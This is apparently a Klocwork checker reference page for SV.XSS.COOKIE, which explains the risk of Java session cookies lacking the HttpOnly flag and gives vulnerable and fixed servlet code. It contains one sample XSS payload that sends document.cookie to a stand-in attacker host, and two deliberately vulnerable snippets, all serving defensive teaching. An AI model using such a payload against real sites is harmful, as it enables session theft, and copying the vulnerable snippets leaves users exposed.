SV.XSS.COOKIE

Sensitive cookie without setHttpOnly flag

Klocwork reports a SV.XSS.COOKIE defect when a cookie that is used to store a session ID for a client's interaction with a website, so that the request made by the client can be validated, is added to the HttpServletResponse object without setting the setHttpOnly flag.

As of release 2023.2, this checker supports Jakarta EE.

Vulnerability and risk

An attacker who can perform cross-site scripting (XSS) could insert a malicious script, for example:
Copy
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'
When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.

Mitigation and prevention

The HttpOnly flag directs compatible browsers to prevent client-side script from accessing cookies. Including the HttpOnly flag in the Set-Cookie HTTP response header helps mitigate the risk associated with XSS, where an attacker's script code could attempt to read and exfiltrate the contents of a cookie. When set, browsers that support the flag will not reveal the contents of the cookie to a third party client-side script executed by using XSS.

Vulnerable code example 1

Copy
   import javax.servlet.http.*;
   
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   response.addCookie(c);

Klocwork reports an SV.XSS.COOKIE defect at line 5, indicating, "Possibility of attack on cookie without setHttpOnly flag" as the setHttpOnly flag is not set on the cookie before adding to the response.

Fixed code example 1

Copy
   import javax.servlet.http.*;
   
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setHttpOnly(true);
   response.addCookie(c);

Klockwork no longer reports an SV.XSS.COOKIE defect at line 4 because the setHttpOnly flag has been set on the cookie on line 5.

Vulnerable code example 2

Copy
   import jakarta.servlet.http.*;
   
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setHttpOnly(false);
   response.addCookie(c);

Klocwork reports an SV.XSS.COOKIE defect at line 6, indicating, "Possibility of attack on cookie without setHttpOnly flag". Although, the setHttpOnly method has been called, it is set as false on line 5.

Fixed code example 2

Copy
  import jakarta.servlet.http.*;
  
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setHttpOnly(true);
   response.addCookie(c);

Klocwork no longer reports an SV.XSS.COOKIE defect at line 6 because the setHttpOnly flag has been set on the cookie on line 5.

Security training

Application security training materials provided by Secure Code Warrior.